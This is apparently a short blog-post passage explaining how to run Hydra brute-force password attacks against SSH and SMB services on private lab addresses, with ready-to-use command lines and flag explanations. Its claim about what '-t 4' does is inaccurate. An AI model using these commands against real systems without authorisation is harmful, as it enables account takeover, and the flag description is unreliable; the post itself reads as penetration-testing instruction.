hydra -l soccer -P /tmp/new_dictionary.txt ssh://192.168.6.2
or
hydra -l soccer -P /tmp/new_dictionary.txt 192.168.6.2 -t 4 ssh
-l for username. Here soccer is the username. If we want to give file i.e. username.txt that contains lots of usernames then we need to use -L switch.
-P path to password file list. Here /tmp/new_dictionary.txt
-t 4 is, per attempt it will send 4 random passwords in order to crack.
ssh://192.168.6.2 --> protocol name that we want to brute force and target server ip.
Brute forcing smb:
hydra -l SAccount -P /usr/share/wordlists/rockyou.txt smb://10.6.0.2
You could also use crackmapexec which is more faster than hydra.
Avi
Comments
Post a Comment